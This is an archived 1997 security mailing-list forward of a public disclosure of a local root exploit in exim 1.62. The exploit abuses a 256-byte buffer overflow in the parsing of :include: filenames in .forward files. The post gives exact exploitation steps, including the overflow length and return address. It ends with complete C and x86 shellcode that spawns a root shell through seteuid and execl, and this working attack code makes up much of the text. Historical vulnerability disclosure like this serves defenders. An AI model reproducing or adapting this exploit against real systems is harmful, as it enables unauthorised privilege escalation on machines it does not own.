Security hole in exim 1.62: local root exploit

Aleph One (aleph1@DFW.NET)
Tue, 22 Jul 1997 08:53:46 -0500

---------- Forwarded message ----------
Subject: Security hole in exim 1.62: local root exploit
From: djb@koobera.math.uic.edu (D. J. Bernstein)
Date: Mon, 21 Jul 1997 09:38:52 -0700
Message-ID: <1997Jul2116.38.52.8686@koobera.math.uic.edu>
Newsgroups: comp.security.unix

Summary: The latest released version of exim lets any local user obtain
a root shell.

Source code pointers: exim checks for :include: in .forward files at
line 1031 of exim/parse.c. At line 1034 it defines a buffer of 256
characters. It copies the :include: filename into the buffer. If the
first character of the filename is not a slash, it returns immediately.

Exploit: Run exim -bt you@your.host, with appropriate code in the
environment, with an appropriate :include: filename in ~/.forward.

For example, under BSD/OS, I set up the environment with the attached
program. I set up the filename as 260 z's followed by 0xdd, 0xdd, 0xbf,
0xef. The address 0xefbfdddd was in the middle of the environment in
the exim process. If I hadn't known the frame structure I would have
repeated the address at more locations in the :include: filename.

The asm code below cuts several corners. Since I knew the addresses of
seteuid() and execl() inside the exim binary, I didn't bother writing my
own library-independent syscalls. Conveniently enough, "/bin/sh" is also
in the exim binary (from the pipe transport). I also didn't bother
eliminating 0's from the asm; I put the 0's into the environment by
spreading data across several environ entries.

Motivation: Thomas Ptacek posted a summary of exim's security problems
in April. Fixing those problems should have been the top priority of
exim's author, Philip Hazel. Unfortunately, Hazel has chosen to spend
his time in other ways---for example, in claiming that exim doesn't have
much privileged code. He's cleaned up a few problems, but the changes
still haven't made it out of testing.

Meanwhile, sysadmins seem to be unaware of how dangerous it is for them
to run exim. The last straw for me was a posting by one of those
sysadmins last Thursday. Wake up, people: there's nothing here that
intruders don't know how to do.

---Dan

/* sample code for one OS/compiler combination; ./this ./exim -bt you */

char code[] = {
0x31,0xc0 /* eax = 0 */
, 0x50 /* push eax */
, 0xbb,0x98,0x30,0x04,0x00 /* ebx = 0x43098; &seteuid in my copy of exim */
, 0xff,0xd3 /* call ebx */
, 0x31,0xc0
, 0x50
, 0xb8,0x9a,0xd1,0x03,0x00 /* eax = 0x3d19a; &"/bin/sh" in my copy of exim */
, 0x50
, 0x50
, 0xbb,0xf8,0x29,0x04,0x00 /* ebx = 0x429f8; &execl in my copy of exim */
, 0xff,0xd3
, 0x00 /* just to terminate the last string in the environment */
} ;

char buf[1000];
char *env[1001];

void main(argc,argv)
int argc;
char **argv;
{
int i;
int j;

for (i = 0;i < sizeof buf;++i) buf[i] = 0x90; /* nop */
memcpy(buf + sizeof buf - sizeof code,code,sizeof code);

j = 0;
env[0] = buf;
for (i = 0;i < sizeof buf;++i) if (!buf[i]) env[++j] = buf + i + 1;
env[j] = 0;

if (argv[1]) execve(argv[1],argv + 1,env);
exit(1);
}